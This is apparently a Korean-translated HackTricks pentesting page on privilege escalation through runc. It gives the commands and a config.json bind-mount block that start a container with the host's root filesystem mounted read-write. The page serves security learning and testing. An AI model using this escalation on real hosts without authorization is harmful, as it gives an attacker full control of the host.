RunC Privilege Escalation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

runc에 대해 더 알고 싶다면 다음 페이지를 확인하세요:

PE

호스트에 runc가 설치되어 있는 것을 발견하면 호스트의 루트 / 폴더를 마운트하는 컨테이너를 실행할 수 있을 수 있습니다.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

기본적으로 runc의 작동은 root로 실행되는 것이기 때문에, 비특권 사용자로 실행하는 것은 불가능합니다 (루트리스 구성이 있는 경우를 제외하고). 루트리스 구성을 기본으로 하는 것은 일반적으로 좋은 아이디어가 아닙니다. 왜냐하면 루트리스 컨테이너 내에서 적용되는 제한 사항이 루트리스 컨테이너 외부에서는 적용되지 않기 때문입니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated